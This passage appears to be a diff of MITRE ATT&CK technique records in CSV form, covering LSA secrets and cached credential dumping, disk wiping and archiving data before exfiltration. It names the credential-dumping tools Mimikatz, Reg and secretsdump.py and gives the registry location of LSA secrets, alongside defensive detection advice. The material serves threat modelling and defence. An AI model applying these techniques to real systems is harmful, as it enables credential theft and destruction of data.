21, 2020.', 'url': 'https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets'}, {'source_name': 'Powersploit', 'description': 'PowerSploit. (n.d.). Retrieved December 4, 2014.', 'url': 'https://github.com/mattifestation/PowerSploit'}]",1.0,attack-pattern,attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T16:22:09.493Z,2021-04-21T21:12:38.361Z,LSA Secrets,"Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets) + +[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)",['credential-access'],https://attack.mitre.org/techniques/T1003/004,mitre-attack,T1003.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Ed Williams, Trustwave, SpiderLabs']","['Windows Registry: Windows Registry Key Access', 'Command: Command Execution']",,"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.",True,['SYSTEM'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1003/005', 'external_id': 'T1003.005'}, {'source_name': 'Microsoft - Cached Creds', 'description': 'Microsfot. (2016, August 21). Cached and Stored Credentials Technical Overview. Retrieved February 21, 2020.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)'}, {'source_name': 'PassLib mscache', 'description': ""Eli Collins. (2016, November 25). Windows' Domain Cached Credentials v2. Retrieved February 21, 2020."", 'url': 'https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html'}, {'source_name': 'ired mscache', 'description': 'Mantvydas Baranauskas. (2019, November 16). Dumping and Cracking mscash - Cached Domain Credentials. Retrieved February 21, 2020.', 'url': 'https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials'}, {'source_name': 'Powersploit', 'description': 'PowerSploit. (n.d.). Retrieved December 4, 2014.', 'url': 'https://github.com/mattifestation/PowerSploit'}]",1.0,attack-pattern,attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T15:42:25.991Z,2020-03-24T20:41:08.996Z,Cached Domain Credentials,"Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds) On Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache) With SYSTEM access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py can be used to extract the cached credentials. -Note: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)",attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530,attack-pattern,['credential-access'],2020-03-24T20:41:08.996Z,2020-02-21T15:42:25.991Z,"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis. +Note: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)",['credential-access'],https://attack.mitre.org/techniques/T1003/005,mitre-attack,T1003.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Ed Williams, Trustwave, SpiderLabs']",['Command: Command Execution'],,"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis. -Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.",['Command: Command Execution'],"['Ed Williams, Trustwave, SpiderLabs']",,['SYSTEM'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1561.002', 'url': 'https://attack.mitre.org/techniques/T1561/002'}, {'source_name': 'Symantec Shamoon 2012', 'url': 'https://www.symantec.com/connect/blogs/shamoon-attacks', 'description': 'Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.'}, {'url': 'https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html', 'description': 'FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.', 'source_name': 'FireEye Shamoon Nov 2016'}, {'url': 'http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/', 'description': 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.', 'source_name': 'Palo Alto Shamoon Nov 2016'}, {'source_name': 'Kaspersky StoneDrill 2017', 'url': 'https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf', 'description': 'Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.'}, {'source_name': 'Unit 42 Shamoon3 2018', 'url': 'https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/', 'description': 'Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.'}, {'url': 'https://docs.microsoft.com/sysinternals/downloads/sysmon', 'description': 'Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.', 'source_name': 'Microsoft Sysmon v6 May 2017'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.0,True,https://attack.mitre.org/techniques/T1561/002,mitre-attack,T1561.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Disk Structure Wipe,"Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. +Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.",True,['SYSTEM'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1561/002', 'external_id': 'T1561.002'}, {'source_name': 'Symantec Shamoon 2012', 'description': 'Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.', 'url': 'https://www.symantec.com/connect/blogs/shamoon-attacks'}, {'source_name': 'FireEye Shamoon Nov 2016', 'description': 'FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html'}, {'source_name': 'Palo Alto Shamoon Nov 2016', 'description': 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.', 'url': 'http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/'}, {'source_name': 'Kaspersky StoneDrill 2017', 'description': 'Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.', 'url': 'https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf'}, {'source_name': 'Unit 42 Shamoon3 2018', 'description': 'Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.', 'url': 'https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/'}, {'source_name': 'Microsoft Sysmon v6 May 2017', 'description': 'Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.', 'url': 'https://docs.microsoft.com/sysinternals/downloads/sysmon'}]",1.0,attack-pattern,attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T22:10:20.484Z,2020-03-28T23:00:00.367Z,Disk Structure Wipe,"Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped. -To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)",attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9,attack-pattern,['impact'],2020-03-28T23:00:00.367Z,2020-02-20T22:10:20.484Z,Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the \\\\.\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.,"['Process: Process Creation', 'Command: Command Execution', 'Driver: Driver Load', 'Drive: Drive Access', 'Drive: Drive Modification']",,,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,,,,,,['Availability'],,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1561.001', 'url': 'https://attack.mitre.org/techniques/T1561/001'}, {'source_name': 'Novetta Blockbuster', 'description': 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.', 'url': 'https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf'}, {'source_name': 'Novetta Blockbuster Destructive Malware', 'description': 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.', 'url': 'https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf'}, {'source_name': 'DOJ Lazarus Sony 2018', 'url': 'https://www.justice.gov/opa/press-release/file/1092091/download', 'description': 'Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.'}, {'url': 'https://docs.microsoft.com/sysinternals/downloads/sysmon', 'description': 'Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.', 'source_name': 'Microsoft Sysmon v6 May 2017'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.0,True,https://attack.mitre.org/techniques/T1561/001,mitre-attack,T1561.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Disk Content Wipe,"Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources. +To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)",['impact'],https://attack.mitre.org/techniques/T1561/002,mitre-attack,T1561.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Driver: Driver Load', 'Drive: Drive Access', 'Drive: Drive Modification']",,Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the \\\\.\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.,True,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,,,,,,['Availability'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1561/001', 'external_id': 'T1561.001'}, {'source_name': 'Novetta Blockbuster', 'description': 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.', 'url': 'https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf'}, {'source_name': 'Novetta Blockbuster Destructive Malware', 'description': 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.', 'url': 'https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf'}, {'source_name': 'DOJ Lazarus Sony 2018', 'description': 'Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.', 'url': 'https://www.justice.gov/opa/press-release/file/1092091/download'}, {'source_name': 'Microsoft Sysmon v6 May 2017', 'description': 'Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.', 'url': 'https://docs.microsoft.com/sysinternals/downloads/sysmon'}]",1.0,attack-pattern,attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T22:06:41.739Z,2020-03-28T22:53:20.162Z,Disk Content Wipe,"Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources. Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files. -To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)",attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac,attack-pattern,['impact'],2020-03-28T22:53:20.162Z,2020-02-20T22:06:41.739Z,Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\.\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.,"['Process: Process Creation', 'Command: Command Execution', 'Driver: Driver Load', 'Drive: Drive Access', 'Drive: Drive Modification']",,,"['SYSTEM', 'root', 'Administrator', 'User']","['Linux', 'macOS', 'Windows']",,,,,,,['Availability'],,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1561', 'url': 'https://attack.mitre.org/techniques/T1561'}, {'source_name': 'Novetta Blockbuster Destructive Malware', 'description': 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.', 'url': 'https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf'}, {'url': 'https://docs.microsoft.com/sysinternals/downloads/sysmon', 'description': 'Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.', 'source_name': 'Microsoft Sysmon v6 May 2017'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.0,False,https://attack.mitre.org/techniques/T1561,mitre-attack,T1561,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Disk Wipe,"Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted. +To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)",['impact'],https://attack.mitre.org/techniques/T1561/001,mitre-attack,T1561.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Driver: Driver Load', 'Drive: Drive Access', 'Drive: Drive Modification']",,Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\.\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.,True,"['SYSTEM', 'root', 'Administrator', 'User']","['Linux', 'macOS', 'Windows']",,,,,,,['Availability'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1561', 'external_id': 'T1561'}, {'source_name': 'Novetta Blockbuster Destructive Malware', 'description': 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.', 'url': 'https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf'}, {'source_name': 'Microsoft Sysmon v6 May 2017', 'description': 'Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.', 'url': 'https://docs.microsoft.com/sysinternals/downloads/sysmon'}]",1.0,attack-pattern,attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T22:02:20.372Z,2020-03-28T23:00:00.599Z,Disk Wipe,"Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted. -To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)",attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967,attack-pattern,['impact'],2020-03-28T23:00:00.599Z,2020-02-20T22:02:20.372Z,"Look for attempts to read/write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\.\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.","['Process: Process Creation', 'Command: Command Execution', 'Driver: Driver Load', 'Drive: Drive Access', 'Drive: Drive Modification']",,,"['User', 'root', 'SYSTEM', 'Administrator']","['Linux', 'macOS', 'Windows']",,,,,,,['Availability'],,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1560.003', 'url': 'https://attack.mitre.org/techniques/T1560/003'}, {'url': 'http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf', 'description': 'ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.', 'source_name': 'ESET Sednit Part 2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.0,True,https://attack.mitre.org/techniques/T1560/003,mitre-attack,T1560.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Archive via Custom Method,"An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)",attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b,attack-pattern,['collection'],2020-03-25T22:48:14.605Z,2020-02-20T21:09:55.995Z,"Custom archival methods can be very difficult to detect, since many of them use standard programming language concepts, such as bitwise operations.","['File: File Creation', 'Script: Script Execution']",,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1560.002', 'url': 'https://attack.mitre.org/techniques/T1560/002'}, {'source_name': 'PyPI RAR', 'url': 'https://pypi.org/project/rarfile/', 'description': 'mkz. (2020). rarfile 3.1. Retrieved February 20, 2020.'}, {'source_name': 'libzip', 'url': 'https://libzip.org/', 'description': 'D. Baron, T. Klausner. (2020). libzip. Retrieved February 20, 2020.'}, {'source_name': 'Zlib Github', 'url': 'https://github.com/madler/zlib', 'description': 'madler. (2017). zlib. Retrieved February 20, 2020.'}, {'url': 'https://en.wikipedia.org/wiki/List_of_file_signatures', 'description': 'Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.', 'source_name': 'Wikipedia File Header Signatures'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.0,True,https://attack.mitre.org/techniques/T1560/002,mitre-attack,T1560.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Archive via Library,"An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data. +To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)",['impact'],https://attack.mitre.org/techniques/T1561,mitre-attack,T1561,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Driver: Driver Load', 'Drive: Drive Access', 'Drive: Drive Modification']",,"Look for attempts to read/write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\.\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.",False,"['User', 'root', 'SYSTEM', 'Administrator']","['Linux', 'macOS', 'Windows']",,,,,,,['Availability'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1560/003', 'external_id': 'T1560.003'}, {'source_name': 'ESET Sednit Part 2', 'description': 'ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.', 'url': 'http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf'}]",1.0,attack-pattern,attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T21:09:55.995Z,2020-03-25T22:48:14.605Z,Archive via Custom Method,"An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)",['collection'],https://attack.mitre.org/techniques/T1560/003,mitre-attack,T1560.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'Script: Script Execution']",,"Custom archival methods can be very difficult to detect, since many of them use standard programming language concepts, such as bitwise operations.",True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1560/002', 'external_id': 'T1560.002'}, {'source_name': 'PyPI RAR', 'description': 'mkz. (2020). rarfile 3.1. Retrieved February 20, 2020.', 'url': 'https://pypi.org/project/rarfile/'}, {'source_name': 'libzip', 'description': 'D. Baron, T. Klausner. (2020). libzip. Retrieved February 20, 2020.', 'url': 'https://libzip.org/'}, {'source_name': 'Zlib Github', 'description': 'madler. (2017). zlib. Retrieved February 20, 2020.', 'url': 'https://github.com/madler/zlib'}, {'source_name': 'Wikipedia File Header Signatures', 'description': 'Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.', 'url': 'https://en.wikipedia.org/wiki/List_of_file_signatures'}]",1.0,attack-pattern,attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T21:08:52.529Z,2020-03-29T18:27:30.891Z,Archive via Library,"An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data. -Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.",attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6,attack-pattern,['collection'],2020-03-29T18:27:30.891Z,2020-02-20T21:08:52.529Z,"Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used. +Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.",['collection'],https://attack.mitre.org/techniques/T1560/002,mitre-attack,T1560.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'Script: Script Execution']",,"Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used. -Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)","['File: File Creation', 'Script: Script Execution']",,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1560.001', 'url': 'https://attack.mitre.org/techniques/T1560/001'}, {'source_name': '7zip Homepage', 'url': 'https://www.7-zip.org/', 'description': 'I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020.'}, {'source_name': 'WinRAR Homepage', 'url': 'https://www.rarlab.com/', 'description': 'A. Roshal. (2020). RARLAB. Retrieved February 20, 2020.'}, {'source_name': 'WinZip Homepage', 'url': 'https://www.winzip.com/win/en/', 'description': 'Corel Corporation. (2020). WinZip. Retrieved February 20, 2020.'}, {'url': 'https://en.wikipedia.org/wiki/List_of_file_signatures', 'description': 'Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.', 'source_name': 'Wikipedia File Header Signatures'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.0,True,https://attack.mitre.org/techniques/T1560/001,mitre-attack,T1560.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Archive via Utility,"An adversary may compress or encrypt data that is 